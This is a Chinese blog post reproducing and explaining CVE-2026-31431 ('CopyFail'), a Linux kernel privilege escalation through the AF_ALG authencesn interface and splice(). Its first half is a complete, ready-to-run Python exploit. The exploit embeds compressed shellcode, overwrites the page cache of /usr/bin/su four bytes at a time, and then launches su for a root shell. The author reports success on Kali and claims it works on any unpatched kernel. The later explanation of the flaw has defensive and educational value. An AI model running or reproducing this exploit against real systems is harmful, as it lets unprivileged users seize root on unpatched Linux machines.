CVE-2026-31431(CopyFail)漏洞复现与解析
复现
漏洞的exp如下(让AI重写了):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
|
import os, socket, zlib
AF_ALG = 38 SOCK_SEQPACKET = 5 SOL_ALG = 279 TARGET_FILE = "/usr/bin/su"
def bytes_from_hex(hex_str): """十六进制字符串转字节""" return bytes.fromhex(hex_str)
def exploit_page_cache(target_fd, offset, data): """ 利用漏洞向目标文件的页缓存写入4字节数据 Args: target_fd: 目标文件描述符 offset: 写入偏移量 data: 4字节数据 """
sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0) sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) sock.setsockopt(SOL_ALG, 1, bytes_from_hex("0800010000000010" + "00"*64)) sock.setsockopt(SOL_ALG, 5, None, 4) conn, _ = sock.accept() try: message = b"A"*4 + data[:4] splice_len = offset + 4 ctrl_msgs = [ (SOL_ALG, 3, b'\x00'*4), (SOL_ALG, 2, b'\x10' + b'\x00'*19), (SOL_ALG, 4, b'\x08' + b'\x00'*3), ] conn.sendmsg([message], ctrl_msgs, socket.MSG_MORE) pipe_read, pipe_write = os.pipe() os.splice(target_fd, pipe_write, splice_len, offset_src=0) os.splice(pipe_read, conn.fileno(), splice_len) os.close(pipe_read) os.close(pipe_write) try: conn.recv(8 + offset) except (socket.error, BlockingIOError): pass finally: conn.close() sock.close()
def main(): """主函数""" if os.geteuid() == 0: print("[!] 已经是root用户") return target_fd = os.open(TARGET_FILE, os.O_RDONLY) compressed = bytes_from_hex( "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c" "301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10" "f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" ) shellcode = zlib.decompress(compressed) i = 0 while i < len(shellcode): exploit_page_cache(target_fd, i, shellcode[i:i+4]) i += 4 os.system("su") os.close(target_fd)
if __name__ == "__main__": main()
|
kali上试验成功。创建一个普通用户运行这个脚本即可成功提权。

解析
相关概念:
页缓存:页缓存是为了提升文件的读写速度而存在的机制。由于从硬盘中读取文件的速度相对较慢,因此内存会缓存一些常用文件,对于Linux而言,su(switch user)就是常用命令之一。
su:切换用户命令的su文件具有root权限。
认证算法:对称加密的情况下,为了防止中间人攻击篡改密文内容导致解密端解密失败出现的机制。
扩展序列号:IPSec作为网络层安全协议,通过对IP数据包进行加密来保障传输安全,但其仍面临重放攻击的风险:攻击者可能截获并延迟发送数据包,导致接收方状态混乱。为此,IPSec需通过认证算法确保消息的完整性。由于IP层采用对称加密,通信双方预先共享密钥,因此可利用序列号进行验证。传统模式采用32位序列号,但其消耗速度较快,易被耗尽。为此,IPSec引入64位扩展序列号(ESN),并将其分为高32位与低32位两部分:低32位显式存在于IPSec协议头中,高32位则隐式保存在安全关联(SA)数据内。采用64位ESN的主要优势在于大幅降低了序列号耗尽导致安全关联重置的风险,从而提升了连接的安全性与稳定性。
authencesn加密和解密算法:
在加密以前authencesn获取的数据为64bit(高32位+低32位)拓展序列号+明文,计算时先加密,高32位会被暂存到密文后面,由密钥+低32位+密文+高32位序列号算出大小为authsize的tag,再将高32位恢复原位,形成64位ESN+密文+tag即为加密完成;
解密时也会将高32位序列号暂存密文以后,挤走tag使其后移,然后用密钥重新计算认证标签,若标签一致则消息完整,解密密文部分
splice()零拷贝机制:在文件描述符已经存在页缓存内的情况下,为了减少冗余的复制行为,直接传递对内存页的引用(也就是地址啦)
AF_ALG套接字:为了让普通用户也能使用内核的加密算法,而开放的接口,需要用socket链接,其中包含了authencesn算法模板。
in-place模式:输入和输出共用一块内存,而无需再开辟一块新的内存。
漏洞的具体原理:
authencesn解密时,需要将高32位放到tag在的位置,也就是assoclen+cryptlen长度偏移的位置。如果攻击者指定了高32位(4字节)内容,同时将通过splice方法传递su文件的特定偏移位置的页引用作为密文+tag的部分,因为输入输出共用内存,就相当于直接往su页缓存的地址里写,从而实现篡改页缓存的su文件为恶意代码(循环就行)。由于每次su都是页缓存而非硬盘文件,因此用户执行的su实际上就是被改过的恶意代码,可以借此实现提权(例如,用su的权限,但代码内容是启动一个shell,由于su是root权限所以启动了rootshell,就相当于由root权限)
影响:
影响范围非常广泛,自 2017 年以来几乎所有主流 Linux 发行版都受影响。对于没有打上修复补丁(commit a664bf3d603d)的Linux,这个漏洞利用脚本的成功率是100%,因为这是逻辑缺陷。